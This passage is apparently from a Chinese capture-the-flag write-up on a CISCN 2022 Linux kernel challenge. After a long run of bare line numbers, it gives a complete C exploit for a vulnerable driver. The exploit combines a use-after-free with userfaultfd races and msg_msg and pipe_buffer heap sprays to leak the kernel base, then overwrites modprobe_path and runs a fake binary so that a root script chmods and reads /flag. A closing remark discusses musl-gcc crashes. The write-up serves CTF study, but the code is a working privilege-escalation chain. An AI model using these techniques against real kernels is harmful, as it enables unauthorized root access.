      229
      
      230
      
      231
      
      232
      
      233
      
      234
      
      235
      
      236
      
      237
      
      238
      
      239
      
      240
      
      241
      
      242
      
      243
      
      244
      
      245
      
      246
      
      247
      
      248
      
      249
      
      250
      
      251
      
      252
      
      253
      
      254
      
      255
      
      256
      
      257
      
      258
      
      259
      
      260
      
      261
      
      262
      
      263
      
      264
      
      265
      
      266
      
      267
      
      268
      
      269
      
      270
      
      271
      
      272
      
      273
      
      274
      
      275
      
      276
      
      277
      
      278
      
      279
      
      280
      
      281
      
      282
      
      283
      
      284
      
      285
      
      286
      
      287
      
      288
      
      289
      
      290
      
      291
      
      292
      
      293
      
      294
      
      295
      
      296
      
      297
      
      298
      
      299
      
      300
      
      301
      
      302
      
      303
      
      304
      
      305
      
      306
      
      307
      
      308
      
      309
      
      310
      
      311
      
      312
      
      313
      
      314
      
      315
      
      316
      
      317
      
      318
      
      319
      
      320
      
      321
      
      322
      
      323
      
      324
      
      325
      
      326
      
      327
      
      328
      
      329
      
      330
      
      331
      
      332
      
      333
      
      334
      
      335
      
      336
      
      337
      
      338
      
      339
      
      340
      
      341
      
      342
      
      343
      
      344
      
      345
      
      346
      
      347
      
      348
      
      349
      
      350
      
      351
      
      352
      
      353
      
      354
      
      355
      
      356
      
      357
      
      358
      
      359
      
      360
      
      361
      
      362
      
      363
      
      364
      
      365
      
      366
      
      367
      
      368
      
      369
      
      370
      
      371
      
      372
      
      373
      
      374
      
      375
      
      376
      
      377
      
      378
      
      379
      
      380
      
      381
      
      382
      
      383
      
      384
      
      385
      
      386
      
      387
      
      388
      
      389
      
      390
      
      391
      
      392
      
      393
      
      394
      
      395
      
      396
      
      397
      
      398
      
      399
      
      400
      
      401
      
      402
      
      403
      
      404
      
      405
      
      406
      
      407
      
      408
      
      409
      
      410
      
      411
      
      412
      
      413
      
      414
      
      415
      
      416
      
      417
      
      418
      
      419
      
      420
      
      421
      
      422
      
      423
      
      424
      
      425
      
      426
      
      427
      
      428
      
      429
      
      430
      
      431
      
      432
      
      433
      
      434
      
      435
      
      436
      
      437
      
      438
      
      439
      
      440
      
      441
      
      442
      
      443
      
      444
      
      445
      
      446
      
      447
      
      448
      
      449
      
      450
      
      451
      
      452
      
      453
      
      454
      
      455
      
      456
      
      457
      
      458
      
      459
      
      460
      
      461
      
      462
      
      463
      
      464
      
      465
      
      466
      
      467
      
      468
      
      469
      
      470
      | #define _GNU_SOURCE#include <fcntl.h>#include <pthread.h>#include <stdio.h>#include <stdlib.h>#include <sys/msg.h>#include <sys/syscall.h>#include <linux/userfaultfd.h>#include <poll.h>#include <sys/mman.h>#include <sys/ioctl.h>#include <semaphore.h>#define CLOSE printf("\033[0m");#define RED printf("\033[31m");#define GREEN printf("\033[36m");#define BLUE printf("\033[34m");#define real(a) a+kernel_base-0xffffffff81000000#define PAGE_SIZE 0X1000#define MSG_COPY        040000size_t fd;size_t kernel_base;size_t tmp_buf[0x500];char *msg_buf;size_t fake_ops_buf[0x100];intms_qid[0x100];intpipe_fd[0x20][2];sem_t sem_addmsg;sem_t sem_editmsg;sem_t edit_down;sem_t edit_heap_next;sem_t sem_edit_msg_for_modpath;struct list_head {    size_t    next;    size_t    prev;};struct msg_msg {    struct list_head m_list;    size_t    m_type;    size_t    m_ts;    size_t    next;    size_t    security;};struct msg_msgseg {    size_t    next;};//struct msgbuf {//longmtype;//char mtext[0];//};intgetMsgQueue(void){    returnmsgget(IPC_PRIVATE, 0666| IPC_CREAT);}intreadMsg(intmsqid, void *msgp, size_t msgsz, longmsgtyp){    returnmsgrcv(msqid, msgp, msgsz, msgtyp, 0);}/** *the msgp should be a pointer to the `struct msgbuf`, *andthe data should be stored inmsgbuf.mtext */intwriteMsg(intmsqid, void *msgp, size_t msgsz, longmsgtyp){    ((struct msgbuf*)msgp)->mtype =msgtyp;    returnmsgsnd(msqid, msgp, msgsz, 0);}/*forMSG_COPY, `msgtyp` means to read no.msgtyp msg_msg on the queue */intpeekMsg(intmsqid, void *msgp, size_t msgsz, longmsgtyp){    returnmsgrcv(msqid, msgp, msgsz, msgtyp,                   MSG_COPY | IPC_NOWAIT | MSG_NOERROR);}void buildMsg(struct msg_msg *msg, size_t m_list_next, size_t m_list_prev,               size_t m_type, size_t m_ts,  size_t next, size_t security){    msg->m_list.next=m_list_next;    msg->m_list.prev =m_list_prev;    msg->m_type =m_type;    msg->m_ts =m_ts;    msg->next=next;    msg->security =security;}typedef struct delete{    size_t idx;}delete_arg;typedef struct edit{    size_t idx;    size_t size;    char *content;}edit_arg;typedef struct add{    size_t idx;    char *content;}add_arg;void ErrExit(char*err_msg){    puts(err_msg);    exit(-1);}void add(char *content){    add_arg tmp=    {        .content =content,    };    ioctl(fd,0x20,&tmp);}void delete(size_t idx){    delete_arg tmp=    {        .idx=idx,    };    ioctl(fd,0x30,&tmp);}void edit(size_t idx,size_t size,char *content){    edit_arg tmp=    {        .idx=idx,        .size =size,        .content=content,    };    ioctl(fd,0x50,&tmp);}void leak(size_t *content,size_t size){    printf("[*]Leak: ");    for(inti=0;i<(int)(size/8);i++)    {       printf("%llx\n",content[i]);    }}void RegisterUserfault(void *fault_page, void*handler){    pthread_t thr;    struct uffdio_api ua;    struct uffdio_register ur;    size_t uffd  =syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);    ua.api =UFFD_API;    ua.features    =0;    if(ioctl(uffd, UFFDIO_API, &ua) ==-1)        ErrExit("[-] ioctl-UFFDIO_API");    ur.range.start =(unsigned long)fault_page; //我们要监视的区域    ur.range.len=PAGE_SIZE;    ur.mode        =UFFDIO_REGISTER_MODE_MISSING;    if(ioctl(uffd, UFFDIO_REGISTER, &ur) ==-1) //注册缺页错误处理,当发生缺页时,程序会阻塞,此时,我们在另一个线程里操作        ErrExit("[-] ioctl-UFFDIO_REGISTER");    //开一个线程,接收错误的信号,然后处理    ints =pthread_create(&thr, NULL,handler, (void*)uffd);    if(s!=0)        ErrExit("[-] pthread_create");}static char *page =NULL; //你要拷贝进去的数据static char *buf =NULL;static char *buf2 =NULL;static char *buf3 =NULL;static longpage_size;static void *fault_handler_thread(void *arg){    struct uffd_msg msg;    unsigned longuffd =(unsigned long) arg;    puts("[+] sleep3 handler created");    intnready;    struct pollfd pollfd;    pollfd.fd =uffd;    pollfd.events =POLLIN;    nready =poll(&pollfd, 1, -1);    puts("[+] sleep3 handler unblocked");    sem_post(&sem_addmsg);    if(nready !=1)    {        ErrExit("[-] Wrong poll return val");    }    nready =read(uffd, &msg, sizeof(msg));    if(nready <=0)    {        ErrExit("[-] msg err");    }    sem_wait(&sem_editmsg);    char*page =(char*) mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);    if(page ==MAP_FAILED)    {        ErrExit("[-] mmap err");    }    struct uffdio_copy uc;    //init page    memset(page, 0, sizeof(page));    memset(tmp_buf, 0, 0x50);    tmp_buf[3] =0xd00;    memcpy(page,tmp_buf,0x50);    //strcpy(page,"Lotus_just_Test");    uc.src =(unsigned long) page;    uc.dst =(unsigned long) msg.arg.pagefault.address & ~(PAGE_SIZE -1);    uc.len=PAGE_SIZE;    uc.mode =0;    uc.copy =0;    ioctl(uffd, UFFDIO_COPY, &uc);    puts("[+] sleep3 handler done");    returnNULL;}void UAF(){    sem_wait(&sem_addmsg);    delete(0);    //RED puts("in"); CLOSE    intret=0;    for(inti =0; i < 0x1; i++)    {        ms_qid[i] =msgget(IPC_PRIVATE, 0666| IPC_CREAT);        if(ms_qid[i] < 0)        {            puts("[x] msgget!");            return-1;        }    }    for(inti =0; i < 0x2; i++)    {        memset(msg_buf, 'A'+i, 0X400-8);        ret =msgsnd(ms_qid[0], msg_buf, 0x400-0x30, 0);        if(ret < 0)        {            puts("[x] msgsnd!");            return-1;        }    }    RED puts("[*] msg_msg spraying finish."); CLOSE    sem_post(&sem_editmsg);}static void *fault_handler_thread2(void *arg){    struct uffd_msg msg;    unsigned longuffd =(unsigned long) arg;    puts("[+] edit heap->next handler created");    intnready;    struct pollfd pollfd;    pollfd.fd =uffd;    pollfd.events =POLLIN;    nready =poll(&pollfd, 1, -1);    puts("[+] edit heap->next handler unblocked");    sem_post(&edit_heap_next);    if(nready !=1)    {        ErrExit("[-] Wrong poll return val");    }    nready =read(uffd, &msg, sizeof(msg));    if(nready <=0)    {        ErrExit("[-] msg err");    }    sem_wait(&edit_down);    char*page =(char*) mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);    if(page ==MAP_FAILED)    {        ErrExit("[-] mmap err");    }    struct uffdio_copy uc;    //init page    memset(page, 0, sizeof(page));    memcpy(page,fake_ops_buf,0x208);    //leak(page,0x208);    //strcpy(page,"Lotus_just_Test");    uc.src =(unsigned long) page;    uc.dst =(unsigned long) msg.arg.pagefault.address & ~(PAGE_SIZE -1);    uc.len=PAGE_SIZE;    uc.mode =0;    uc.copy =0;    ioctl(uffd, UFFDIO_COPY, &uc);    puts("[+] edit heap->next handler down!");    returnNULL;}void UAF2(){    sem_wait(&edit_heap_next);    delete(0);    sem_post(&edit_down);}void modprobe_path_hijack(void){    puts("[*] Returned to userland, setting up for fake modprobe");    system("echo '#!/bin/sh\nchmod 777 /flag\n' > /tmp/Lotus.sh");    system("chmod +x /tmp/Lotus.sh");    system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/fake");    system("chmod +x /tmp/fake");    //system("cat /proc/sys/kernel/modprobe");    puts("[*] Run unknown file");    system("/tmp/fake");    system("ls -al /flag");    system("cat /flag");    RED puts("[*]Get shell!"); CLOSE    sleep(5);}intmain(){    pthread_t edit_t,edit2_t;    msg_buf =malloc(0x1000);    memset(msg_buf, 0, 0x1000);    fd =open("/dev/kernelpwn",O_RDWR);    buf =(char*) mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); //foredit msg->m_ts    buf2 =(char*) mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);//forspray the msg_msg andedit msg->next    RegisterUserfault(buf,fault_handler_thread);    RegisterUserfault(buf2,fault_handler_thread2);    sem_init(&sem_addmsg,0,0);    sem_init(&sem_editmsg,0,0);    sem_init(&edit_heap_next,0,0);    sem_init(&sem_edit_msg_for_modpath,0,0);    sem_init(&edit_down,0,0);    add("TEST_chunk");    pthread_create(&edit_t,NULL,UAF,0);    pthread_create(&edit2_t,NULL,UAF2,0);    edit(0,0x20,buf);    GREEN puts("[*]Write in!"); CLOSE    for(inti =0; i < 1; i++)    {        if(pipe(pipe_fd[i]) < 0)        {            RED puts("failed to create pipe!"); CLOSE        }        if(write(pipe_fd[i][1], "_Lotus_", 8) < 0)        {            RED puts("failed to write the pipe!"); CLOSE        }    }    RED puts("[*] pipe_buffer spraying finish."); CLOSE    memset(tmp_buf, 0, 0x1000);    if(peekMsg(ms_qid[0],tmp_buf,0xe00,0)<0)    {        RED puts("[*]Leak error!"); CLOSE    }    //leak(tmp_buf,0xd00);    kernel_base =tmp_buf[0x7e8/8]-0x103ed80;    size_t pipe_addr =tmp_buf[0x3e0/8]+0xc00;    BLUE printf("[*]Kernel_base: 0x%llx\n",kernel_base); CLOSE    BLUE printf("[*]pipe_addr: 0x%llx\n",pipe_addr); CLOSE    close(pipe_fd[0][0]);    close(pipe_fd[0][1]);    //size_t push_rsi_pop_rsp =real(0xffffffff81934056);//push rsi; pop rsp; retf;    //size_t push_rsi_pop_rbp =real(0xffffffff81422d1f);//push rsi; pop rbp; ret;    //size_t call_rsi_leave_ret =real(0xffffffff81c0114d);//call rsi; nop; nop; nop; leave; ret;    size_t modprobe_path =real(0xffffffff82a6c000);    memset(fake_ops_buf, 0x61,0x800);    fake_ops_buf[0x200/8] =modprobe_path-0xc0;    add("Lotus_chunk");    edit(0,0x208,buf2);    for(inti =1; i < 0x3; i++)    {        ms_qid[i] =msgget(IPC_PRIVATE, 0666| IPC_CREAT);        if(ms_qid[i] < 0)        {            puts("[x] msgget!");            return-1;        }    }    size_t modprobe_path_buf[0x80];    memset(modprobe_path_buf,0,0x400);    intidx=0x34;    modprobe_path_buf[idx++]=real(0xffffffff82a6c108);    modprobe_path_buf[idx++]=real(0xffffffff82a6c108);    modprobe_path_buf[idx++]=0x32;    modprobe_path_buf[0]=0xdeadbeef;    modprobe_path_buf[0x13]=0x746f4c2f706d742f;    modprobe_path_buf[0x14]=0x68732e7375;    for(inti =1; i < 0x3; i++)    {        intret =msgsnd(ms_qid[i], modprobe_path_buf, 0x400-0x30, 0);        if(ret < 0)        {            puts("[x] msgsnd!");            return-1;        }    }    RED puts("[*]edit modprobe_path success."); CLOSE    modprobe_path_hijack();} | 
这里由于gcc编译的poc文件过大,远程超时,因此我选择musl-gcc进行编译。
但是奇怪的是,按理来说两种编译方式不会对poc造成影响,gcc的可以正常运行,而musl-gcc在modprobe_path_hijack后,第一次调用system时,内核会panic在slub里。
估计是system系统调用execve申请内存时,寄在了某一个没有修复好的freelist里,但是我的这种解法,应该是无法修复freelist的。
后续选择uclibc进行编译就成功了。如果有读者了解为什么musl-gcc编译出来会有这种情况,请务必教教我。
更多【从ciscn2022半决赛一道一解题浅析msg_msg结构体】相关视频教程:www.yxfzedu.com